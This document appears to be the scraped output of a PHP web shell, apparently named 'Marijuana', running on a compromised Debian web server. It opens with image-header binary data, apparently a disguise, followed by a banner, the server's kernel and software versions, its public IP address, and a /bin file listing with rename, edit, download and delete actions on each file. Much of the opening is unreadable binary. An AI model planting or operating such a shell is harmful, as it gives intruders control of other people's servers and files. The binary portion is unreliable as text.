JFIF       %%-))-969KKd       %%-))-969KKd! f%eK_.T  v_/n6q>e}&Cx@t7OuqySN%y%tz@ Un(quo{tS]\~LzǚPk;fϛϹ2y-=_z.NWW7DW@'4`3w3rr;hP8B%ַBe]`7Ҽo1e)弆O|4Wk*}7Su[9=U 9 |_+:@}@˵u@ g<4N<@=/ I(~}qq=y- u|. y'`3S+4$e= k4P]M^_Nou*R-,X0EI}m&LtVȱa|R\@ ʟ+YeIlY`XV^HV/c-eb du ̈́_2+DpV ` ^^->t7JydE]I 8:7#j̀iiVbp~o݃[}zwGF@-(RTJY@ Ty}X 1!2AQaq"3BR`r@PSb #4CTs0DU$EFcd?Lc4\K#E1$@CV8OƂZ5g;.141;%]6e laǃpv8)80D1ŌxLgWYc+z%:( w^PtdԣV Z:qDsh W) ͷ+~FO]"բ?eN 4)WREZ;T+}]:FRtI ѱއ>'s_[\qNhK ' ^qJv9 ]ʜ1FMzwF8ѯBIp-g`?si;|Hr%>jOh29-+-gQmBH?3P9e')>[k^OaxtLiS30ҿ6*o--I$ 1 z2+OЪ+i˺,_n3(~}StUMc \xSmGD0jMB06%') #1c6s/iaIɉgC%Yoi**MHЛ=rh ĭ總 E>Jў2+ct/^$[_kAOʕicR4qm#Lw!Squ/:e%~zMBfa|e7PUC|"/)CD\cy gڰF9(?\jU+>Cwl#>x^'a7C}LYX<@X`W8P hۂx͍q֜?de1qe* NDuTm-ߣ y+pUy*9aĺ:P4n$2&BTϵ@ a>v3uc,(uF0jˊ́a~32f2=ήZe[r!F !Bu)b FŌt%41N/֑41n1|> 1^;1=IĖEpq%"{/~M.QWDdUA6~z>kPh2Oi?Uc[`+l;՚':۾ږtoZjQ7\:Z3}~ &ڮRQH{mDq0TaM5i:5sC0x<]=Mp c!C<6]~vpxeH[AmY'iԖ_~ a(Ȕ@+a< w] wbk1#aD 9. ?p$ Qؒi-8S㨸f45t:ʙѾ.{mMshU1k\z^*#It@ v:%#iSZ.{.Vemm,Z3*;HtU8E.v'e ޴ 4WwLDe)jY*R'?wM֣ b+IfO('Y J$o޼ l.蕁~ Y Em>Y^m"r^4w}2PI7R1gV\wtVT׿w'*N{ZGN8qzrM/LO~ O~|ڞ櫮o{\dV斀AJmn E#HQg$!{XM'{u* 4O)>F.";l2z3IJ2?Fh7)rjrv@ AJlУ 0`StpGD&nƒpxΡ}P늿D@cEH҆2[9a}U/biEzu)xYR>߹q (yA~ُp \U\L\6~" U'>GJOP,ko:JGI*٢C8f8굟m#GV̐Cj]}N_]aJulE.+I&y5 6*TGHZRů}efjv"\3/3_hq՝g !ir,ܐv%~*lXccyo) 拏Qp_tT3!,Dur!CH7;9GQQmE:ÑCaƅ;zeij;d+% z#e%gdI9E5BB&۟S"=C(>{֠ ɫNUळiu>;P}حW]ouBmJS0ktRtDm+$ԫU_dq)$ ʃnLGSፑf'vlzP/_]QԂ]ȗ|W\;wTSf!m,ri{w了enP(`*.1i2.}e@;HA&_N᷸1|:Gjڒj~i/֬]1(N +^ bQq:›m*o5Y(.JPV[3ޭj֭j+i(uָ]kV)A/%X Fa?8'o>ꝣKks\_k)S%zDTRw#h#e#1Euk&,Yw+Ap"PIZ*j*Ug">m>|ڇ(#FXzCi9%J'H3Xwi-9s0S`R^֮ YLJz+q^i}i1jLK+ [ NzDSq[+Q'ݖl=s<[iIWz=%}[jɁ֠$$N7IUm83SVŭw)#0$g C26^ʓW<=B>{R)&繻8j3cbbce7TE1r\'}FūLO+KʢXm/=H 6FaRHI^Lȹ83g9CM93쑑nE)=q4I$s'ݠajm]"O>L4Vb;(eHm$֫ӆyYtYYr(<Ɠ2Fm "f֒;Tξu8jZR$b!E*9 yy+V:Dm Œ9@-f*l2#ٿPt#T҂ӵ&;AȃWlf xϜZكfj%bs ,/uN{,Gz*kkP M6f/0[I;S)ml-؉)~q9v`ǣ4gZJ}h&dﺥ#{}uDa7j(I'2OҒMF7 .Ey<$5;2ժTI %)TwG54Ŭ Kb6rG;uq\[8DJ'i$?Pq-ݗs\JGkYO2%}b\9;Tk⾜3%qSd( [O4i'jQՃ &F Ҧ T2!G{N j~:Cz J3|xd(6TZ a b5gfK\I)WYARA(RVE$G8at̖qWq{B:Q^g3QzcAZrH|GMcjb{+)r=>:de:¹[QOe@>ISP1nIq!:3G).!ŶB꠲#0Eb2"Lt4ƺKCGn9P=PeoX8@fղ Gi9k ^aHAV<)GG*k_aUΜWsX4ʷ\%m,W*F}<1E/&NJIʳ:PmeRuń%A<ᶧ2s^s-9$PHw]ZB#[>9Fm*>Ut.HugK9uaAF.%fW&J~$k^S:iގT9_5`_bR`ܒ(8Fa?jMc4Pŭ!VB7 W+߀ i>b٠,]?<{aXgpJ]璹نrV53-)p:,R%>#W۲4K{%L%]ͅP,7"[NI:ܴ- AJr)#"=k#Eoa PP$C>7m_t ڠcJZymA [qwDw|*3(FMۭ\KP-'1WK, suu;~ZaTnyi$A =46i֑AUU"l:gA ]"8&ד<{z&O!WF^XGhViWM\q(*p#Fk?p\Ym*J3B3'%jn+ IG{VcVL-f7 #/u}5bD7XMi!{#b$U]q\RGa ;OZXv^WZ\ܭ( lhSˎ6 V'h GY{49$r8AIȃ#V$HL/~l.]:>29:EkSO%N$Ϋkͯ⫝̸yˮ0mE+IVwuIu>Xj%6@[k)aqJz|؏!Υ֔RP.l@tⵅkZg'5nrqDU^kJBEBfrG)+J$"dB3#ٔk4yQCz9S\8'#/5cˑYO(4dhIM<6BߢJNDZFEgD6vnl|^kr;^hϨ1!ʌ:įZBᝋx|T+'!c t"YH=)"g6-t+.Ur$+ZzRG s*f9_QY4El>DI[}B=>v)iTg[?oWwۿlWG69k{Qx]-*$<-=W¹nUĂ}G4tZ]^Q8m!])SyR)vOR(_Aiϵei#{$hਧ.SLN}߬e}EgZwgAWPBcZÖ']P ;2/hy}1M9Fj'.ӖZy-,r ND|jlC)jqSʚV)]p3;❀[:tBH##HqhZr\j"tG-тtHtB24PJ:w;xI0$ wEQ#)FejK rSw|">Tҙ#2Xc8g,(L`S2 tM>5@<)A71iXSlHڛ9(y4KUu:xARdf5\Zq|m{ӭjI8%. ڟ5pxvqd(9P$#"8CQ NKFۘ;RTPE8^`WãRxL髍{}ġͭ緗Ҍ/<xcKOVy0\{Uk85A07)_uCuopN>~3e e޽ytYnDm3)ܠ&,![y3CcؽK+raޱX~aRbm<wE #+ԺQXfGq+h[71_A* [V٣sCEXb\fNiXNݔz NҲ wrG"+ kлYI`ϼUՄ o9Vc7^[Y"E]W>(GSkt]Gcx~hM`?WV8q w< `bJb̑ NNG[xr̈>Kþ7<7H56pIEKgoE`?4e)ޛ)7M(-4ot}LDG6"qycg~x{>8.,7W_ɦ/nG|MFU^VYpa",BBBH;GC#2JerK*ZIqbIphت݉)c繥ՅVtLnEcf62:;\Rw@{ S5Q $ϑTz;EzFO5Pn.NA<~ҌoXR|Ig$^]A|^_mmҷj8mbMbՅHmvI_MqƊFCq&Б%z>ΧKEAg4y;/0f[|@$SG,h5@0RȁцEH-qm%Kb%Dx:0XNHWIᰵ$G)|^ χ,m,#%6צIpO FDFUH5JKlI>Vxn;ĶY;dZkarnƭaeG< W#9+؄l?jEmDo<~W++0#π*<.ۘZ+H$VfF|J&#N ?*<<⢌՞\.#I: !#Sh-4'F |-[WQFH7 )d`JFCbFɞ9N9vՅW4xPOBHc2a"*90Iv5IGI<hI I*'Ƿ.-m1ȼѹKF2ٷ;*A*T6FDSKsipI tGx f$9 Ǐzf{kd@r:/?(i^b 3)_g;&IEWu̓*2t7qL Ti5, wdXr&Gwmŏy)IJD+iE:v6[=9ʰ;q` =}#q:<>~mFU631TqQ (t2/c~ iK'y˴TlxsF_$ {a8[yfc>Y͘k8&9x\Նڻ{I&7+ fv F=,ꌼcCA[c:麑î6B겦&|mFm㪈Rfw .xJês1?_UnuQGǪ?6wR5b-:q{wK  !1A2Qq"@PRa #03BCSbr4$T`c?K)o<rzѸUL<6K4F̘E¹?Q7 QZtʄSV9iE$m6vU>8_F!zaS# j_4Jzm_bȚ;/:Iq7A9Qڜp͖!QTaOSTQzqS5U{LHOWc;TWUA}YWqUNKURѾĴ:gfYnQ*dv?F6i1G6[H?W*!Wl 8OlE?U$jv<&Rا@TG"X޺51?Ikymc{TLʧA4Y+#a=[#j Ge;@֍Xًv_(uVgJjbէz;5$۱ʡ)zv|eS u̎b{ean<6\;CQ<@΍b{ZM%[*n,z{EZR++e`w޹bh9cWF2ǴU:RMWd架;UJcDtK_G@y5GāYzF 8cWb㖈qw4ecqMis,)',o=ߘq5e-0j.}xNGq?d;D5T Dbng2!zN%i`IJ4]JN Kv ./iLZFOii h=yn%wdԲ:d뉆2 ]|1jnvBV@XkxN_;J Kӯ$ΟVlXm x[0'id =qcamjdӚȹaE4rY26!۩PS#U v{-51~q<'x;Z *'Fg"pojg9l:5W媴txyyUU%`_58Mngv[+jz>XwbIt$]ɞ*{ &b^F=C4ЏZ+ F\pR]9c1b * @@K,\ϔ =0<9N{U^ozﺊ<˒D4p2 ,Ƿ˗:#]j*&*jFTܪTdF@x8׭CX2U&y({9b駴to90\DUaaƏ@J:tš#x]d0pUiJ!Џ_1Ke9s$\t%ZiW-]ZVp[!c8OڋGPmM 'ÈX$I"s)Ȍ[ڦT ׫wJsn$QӨ]dJ[;~ԕ$lŧt}7RU@&778ܷK "$4C^iQ􄆺h(Cg#P QҤ1 7~V=6~8:#7/N5qz=8ȂiEʀJpnx8.9@~1m3sE? :zqGY}:O#yw23$1%m}8`E毑s_PznQ[LF%D;S)י -YW < quTݪҒl>I£$qG,Ȑf=g + `~}m5dO+ipyOfv]ishu*8tx"4n7putfV]D`i=ZHWIwȩ<[.P\xӊF)jbKfzASi{*u#8 9p뚰 H@ff>,`2 L6b8 mw{Hn3|b3Fg1e6C<eH /_~B#L *t0xbS% 웞: Aɔ89hjd[OY墪9sŎzNZ:&Yiu%MGw=Y ]QӍ -u@'p[wK%suԘse^wbiɫ:f䲯4ֶCP JFE32 X;yVeAbFyyX%H ,vgb~Ksʊ&V φ 5f̅2K7ZVԎBLǑ=zv-yq,nȇ'(:8$(rH*!S RI.Lj"9\W>])|›\o?-tEs#678PI:e5n$i0ScudA F(ET lq{讬3 28xۆ1IPԲ v0r$0{[J*cyA 1OQ-3f5;׆!`;mV[g{*d$221VR8jk.aH)7c=BO>~ T77XӇʧ _NاVV:Gye)NKk Ǵ`ՏS=Wy\cu`}@8C2su XqC Պ̜xEU ڭ{$KόI@F؛NLOA$F[X2rĔG L\wE2J3S8IJ2e`A7),b +noĐ<{XA"Lj%W̮RI7=e0O {F 3t6ǽN7aNHmo!_5G/GGz`ǻwl${wzd2X,!a/@X{wh]S MARIJUANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux vps-ed8565de 5.10.0-32-cloud-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
  SOFT : Apache/2.4.65 (Debian) PHP : 7.4.33
/bin/
51.178.36.14

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
X11 dir drwxr-xr-x 2025-11-05 06:33 R D
[ 58.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
aa-enabled 30.367 KB -rwxr-xr-x 2021-04-03 06:09 R E G D
aa-exec 30.367 KB -rwxr-xr-x 2021-04-03 06:09 R E G D
ab 58.344 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
addpart 26.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
apropos 51.203 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
apt 18.227 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-cache 86.305 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-cdrom 26.305 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-config 26.227 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-extracttemplates 22.313 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-ftparchive 270.313 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-get 46.305 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-key 27.53 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-listchanges 11.955 KB -rwxr-xr-x 2021-03-28 11:06 R E G D
apt-mark 50.305 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
apt-sortpkgs 38.234 KB -rwxr-xr-x 2021-06-10 08:53 R E G D
arch 38.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
aria_chk 4.32 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
aria_dump_log 4.13 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
aria_ftdump 4.14 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
aria_pack 4.16 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
aria_read_log 4.28 MB -rwxr-xr-x 2025-05-30 06:25 R E G D
awk 678.344 KB -rwxr-xr-x 2021-02-10 08:42 R E G D
b2sum 58.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
base32 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
base64 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
basename 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
basenc 54.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
bash 1.18 MB -rwxr-xr-x 2022-03-27 18:40 R E G D
bashbug 6.601 KB -rwxr-xr-x 2022-03-27 18:40 R E G D
bootctl 62.336 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
broadwayd 118.227 KB -rwxr-xr-x 2024-07-19 13:30 R E G D
bunzip2 38.07 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
busctl 82.336 KB -rwxr-xr-x 2025-06-26 00:44 R E G D
bzcat 38.07 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzcmp 2.173 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzdiff 2.173 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzegrep 3.687 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzexe 4.763 KB -rwxr-xr-x 2019-09-04 13:22 R E G D
bzfgrep 3.687 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzgrep 3.687 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzip2 38.07 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzip2recover 17.992 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzless 1.267 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
bzmore 1.267 KB -rwxr-xr-x 2020-07-20 13:00 R E G D
c_rehash 6.527 KB -rwxr-xr-x 2025-10-03 09:54 R E G D
captoinfo 90.266 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
cat 42.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
catchsegv 3.228 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
catman 38.688 KB -rwxr-xr-x 2021-02-19 10:14 R E G D
certbot 0.938 KB -rwxr-xr-x 2021-02-13 18:56 R E G D
cgi-fcgi 18 KB -rwxr-xr-x 2025-10-12 09:03 R E G D
chage 78.375 KB -rwxr-sr-x 2025-04-18 13:46 R E G D
chardet 0.942 KB -rwxr-xr-x 2020-12-30 16:42 R E G D
chardetect 0.942 KB -rwxr-xr-x 2020-12-30 16:42 R E G D
chattr 14.156 KB -rwxr-xr-x 2024-10-03 14:08 R E G D
chcon 71.063 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
checkgid 14.156 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
chfn 57.047 KB -rwsr-xr-x 2025-04-18 13:46 R E G D
chgrp 70.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
chmod 62.938 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
choom 50.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
chown 70.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
chronyc 111.016 KB -rwxr-xr-x 2022-03-14 21:17 R E G D
chrt 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
chsh 51.641 KB -rwsr-xr-x 2025-04-18 13:46 R E G D
cksum 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
clear 14.156 KB -rwxr-xr-x 2023-05-26 18:31 R E G D
clear_console 14.305 KB -rwxr-xr-x 2022-03-27 18:40 R E G D
cloud-id 0.949 KB -rwxr-xr-x 2021-08-13 00:47 R E G D
cloud-init 0.953 KB -rwxr-xr-x 2021-08-13 00:47 R E G D
cloud-init-per 2.059 KB -rwxr-xr-x 2021-01-15 17:33 R E G D
cloud-localds 7.232 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
cmp 46.781 KB -rwxr-xr-x 2021-01-01 17:52 R E G D
col 34.234 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
colcrt 14.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
colrm 30.234 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
column 50.234 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
comm 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
compose 18.053 KB -rwxr-xr-x 2021-02-25 18:24 R E G D
corelist 15.012 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
cp 147.625 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
cpan 8.161 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
cpan5.32-x86_64-linux-gnu 8.182 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
cpio 158.547 KB -rwxr-xr-x 2023-09-30 12:18 R E G D
crontab 42.547 KB -rwxr-sr-x 2021-02-22 22:43 R E G D
csplit 119.063 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ctags 151.555 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
ctags.emacs 151.555 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
ctstat 22.508 KB -rwxr-xr-x 2021-02-05 23:34 R E G D
curl 250.07 KB -rwxr-xr-x 2025-06-09 01:01 R E G D
cut 46.906 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
cvtsudoers 274.977 KB -rwxr-xr-x 2025-06-26 17:03 R E G D
dash 122.617 KB -rwxr-xr-x 2020-12-10 13:23 R E G D
date 111 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
dbilogstrip 1.348 KB -rwxr-xr-x 2020-11-08 20:20 R E G D
dbiprof 6.061 KB -rwxr-xr-x 2020-11-08 20:20 R E G D
dbiproxy 5.268 KB -rwxr-xr-x 2020-11-08 20:20 R E G D
dbus-cleanup-sockets 14.133 KB -rwxr-xr-x 2023-06-06 14:07 R E G D
dbus-daemon 239.188 KB -rwxr-xr-x 2023-06-06 14:07 R E G D
dbus-monitor 26.141 KB -rwxr-xr-x 2023-06-06 14:07 R E G D
dbus-run-session 14.133 KB -rwxr-xr-x 2023-06-06 14:07 R E G D
dbus-send 30.133 KB -rwxr-xr-x 2023-06-06 14:07 R E G D
dbus-update-activation-environment 14.133 KB -rwxr-xr-x 2023-06-06 14:07 R E G D
dbus-uuidgen 14.133 KB -rwxr-xr-x 2023-06-06 14:07 R E G D
dd 79.07 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
deb-systemd-helper 20.893 KB -rwxr-xr-x 2020-12-14 20:19 R E G D
deb-systemd-invoke 4.308 KB -rwxr-xr-x 2020-12-14 20:19 R E G D
debconf 2.792 KB -rwxr-xr-x 2021-06-10 17:17 R E G D
debconf-apt-progress 11.271 KB -rwxr-xr-x 2021-06-10 17:17 R E G D
debconf-communicate 0.594 KB -rwxr-xr-x 2021-06-10 17:17 R E G D
debconf-copydb 1.679 KB -rwxr-xr-x 2021-06-10 17:17 R E G D
debconf-escape 0.632 KB -rwxr-xr-x 2021-06-10 17:17 R E G D
debconf-set-selections 2.866 KB -rwxr-xr-x 2021-06-10 17:17 R E G D
debconf-show 1.784 KB -rwxr-xr-x 2021-06-10 17:17 R E G D
debianbts 0.966 KB -rwxr-xr-x 2020-12-18 08:20 R E G D
decodemail 34.609 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
delpart 26.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
devdump 171.914 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
df 91.734 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
dh_bash-completion 4.302 KB -rwxr-xr-x 2020-07-31 14:30 R E G D
dh_perl_dbi 1.17 KB -rwxr-xr-x 2020-11-08 20:20 R E G D
diff 203.438 KB -rwxr-xr-x 2021-01-01 17:52 R E G D
diff3 63 KB -rwxr-xr-x 2021-01-01 17:52 R E G D
dir 143.727 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
dircolors 46.82 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
dirmngr 565.641 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
dirmngr-client 106.781 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
dirname 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
dirsplit 16.741 KB -rwxr-xr-x 2006-11-25 23:13 R E G D
dmesg 82.461 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
dnsdomainname 22.07 KB -rwxr-xr-x 2019-11-07 11:31 R E G D
domainname 22.07 KB -rwxr-xr-x 2019-11-07 11:31 R E G D
dotlock 14.852 KB -rwxr-sr-x 2020-11-19 05:02 R E G D
dotlock.mailutils 14.852 KB -rwxr-sr-x 2020-11-19 05:02 R E G D
dpkg 306.531 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-deb 158.383 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-divert 150.438 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-maintscript-helper 20.667 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-query 162.43 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-realpath 4.053 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-split 122.336 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-statoverride 62.117 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
dpkg-trigger 78.336 KB -rwxr-xr-x 2023-09-13 21:38 R E G D
du 171.25 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
ebrowse 42.414 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
ebrowse.emacs 42.414 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
ec2metadata 8.189 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
echo 38.781 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
edit 18.053 KB -rwxr-xr-x 2021-02-25 18:24 R E G D
editor 340.641 KB -rwxr-xr-x 2024-06-17 12:31 R E G D
egrep 0.027 KB -rwxr-xr-x 2023-01-25 08:23 R E G D
emacs 5.97 MB -rwxr-xr-x 2025-02-27 02:24 R E G D
emacs-gtk 5.97 MB -rwxr-xr-x 2025-02-27 02:24 R E G D
emacsclient 30.625 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
emacsclient.emacs 30.625 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
enc2xs 40.836 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
encguess 2.994 KB -rwxr-xr-x 2024-10-20 21:53 R E G D
env 47.344 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
envsubst 34.227 KB -rwxr-xr-x 2021-02-02 21:35 R E G D
eqn 201.344 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
etags 147.336 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
etags.emacs 147.336 KB -rwxr-xr-x 2025-02-27 02:24 R E G D
ex 3.03 MB -rwxr-xr-x 2025-03-30 03:33 R E G D
expand 42.844 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
expiry 30.43 KB -rwxr-sr-x 2025-04-18 13:46 R E G D
expr 114.969 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
factor 79.156 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
faillog 22.445 KB -rwxr-xr-x 2025-04-18 13:46 R E G D
fallocate 34.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
false 38.75 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
fc-cache 18.508 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-cat 14.453 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-conflist 14.273 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-list 14.336 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-match 14.398 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-pattern 14.328 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-query 14.297 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-scan 14.344 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fc-validate 14.344 KB -rwxr-xr-x 2020-05-15 10:55 R E G D
fcgistarter 14.156 KB -rwxr-xr-x 2025-07-29 20:18 R E G D
fgrep 0.027 KB -rwxr-xr-x 2023-01-25 08:23 R E G D
filan 91.961 KB -rwxr-xr-x 2021-02-03 12:58 R E G D
file 26.422 KB -rwxr-xr-x 2023-08-30 18:51 R E G D
fincore 34.273 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
find 303.719 KB -rwxr-xr-x 2021-01-09 17:36 R E G D
findmnt 67.414 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
flock 34.305 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
fmt 46.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
fold 42.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
free 26.227 KB -rwxr-xr-x 2021-04-06 07:17 R E G D
frm 27.156 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
frm.mailutils 27.156 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
from 22.703 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
from.mailutils 22.703 KB -rwxr-xr-x 2020-11-19 05:02 R E G D
fuser 39.773 KB -rwxr-xr-x 2021-02-08 10:19 R E G D
galera_new_cluster 0.896 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
galera_recovery 3.287 KB -rwxr-xr-x 2025-05-30 06:25 R E G D
gawk 678.344 KB -rwxr-xr-x 2021-02-10 08:42 R E G D
gdk-pixbuf-csource 14.172 KB -rwxr-xr-x 2025-10-11 01:47 R E G D
gdk-pixbuf-pixdata 14.156 KB -rwxr-xr-x 2025-10-11 01:47 R E G D
gdk-pixbuf-thumbnailer 14.234 KB -rwxr-xr-x 2025-10-11 01:47 R E G D
genisoimage 622.945 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
geqn 201.344 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
getconf 34.367 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
geteltorito 6.064 KB -rwxr-xr-x 2021-02-04 21:36 R E G D
getent 31.344 KB -rwxr-xr-x 2025-05-27 10:40 R E G D
getopt 22.227 KB -rwxr-xr-x 2024-03-28 10:09 R E G D
gettext 34.227 KB -rwxr-xr-x 2021-02-02 21:35 R E G D
gettext.sh 5.066 KB -rwxr-xr-x 2021-02-02 21:35 R E G D
ginstall-info 111.758 KB -rwxr-xr-x 2021-01-08 21:54 R E G D
gpasswd 86.234 KB -rwsr-xr-x 2025-04-18 13:46 R E G D
gpg 1.05 MB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpg-agent 400.82 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpg-connect-agent 146.875 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpg-wks-server 190.922 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpg-zip 3.434 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpgcompose 894.141 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpgconf 162.594 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpgparsemail 30.227 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpgsm 499 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpgsplit 70.484 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpgtar 143.25 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpgv 438.867 KB -rwxr-xr-x 2022-07-01 07:03 R E G D
gpic 220.188 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
grep 198.313 KB -rwxr-xr-x 2023-01-25 08:23 R E G D
groff 121.375 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
grog 2.711 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
grops 181.781 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
grotty 133.406 KB -rwxr-xr-x 2021-01-27 09:42 R E G D
groups 42.813 KB -rwxr-xr-x 2020-09-24 08:36 R E G D
growpart 21.985 KB -rwxr-xr-x 2020-05-28 22:11 R E G D
grub-editenv 374.117 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-file 813.367 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-fstest 935.055 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-glue-efi 244.93 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-kbdcomp 1.642 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-menulst2cfg 228.977 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mkfont 269.617 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mkimage 354.117 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mklayout 249.242 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
grub-mknetdir 406.914 KB -rwxr-xr-x 2023-10-02 14:11 R E G D
